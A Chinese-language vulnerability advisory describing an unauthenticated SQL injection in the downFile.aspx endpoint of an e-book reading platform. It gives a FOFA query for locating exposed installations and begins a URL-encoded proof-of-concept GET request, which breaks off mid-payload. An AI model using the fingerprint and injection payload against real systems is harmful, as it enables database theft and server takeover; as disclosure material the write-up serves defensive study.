0x01 产品简介
电子图书阅读平台为用户提供了一种便捷、环保且资源丰富的阅读方式,支持简单检索、二次检索、高级检索及全文检索；同时支持教育部、中图法两种分类浏览方式。支持在线阅读与离线下载阅读两种方式。在线阅读时，读者可实时在线打开电子教材进行翻阅，但部分教材有并发用户限制。下载阅读需下载至平台自带的独立阅读器打开，单本电子书每次下载使用期一般为30天，到期前可重新登陆平台下载。
0x02 漏洞概述
电子图书阅读平台 downFile.aspx 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
0x03 复现环境
FOFA：
body="/Index.aspx/SearchBy"
0x04 漏洞复现
PoC
GET /web/downFile.aspx?id=%27%2B%28SELECT+CHA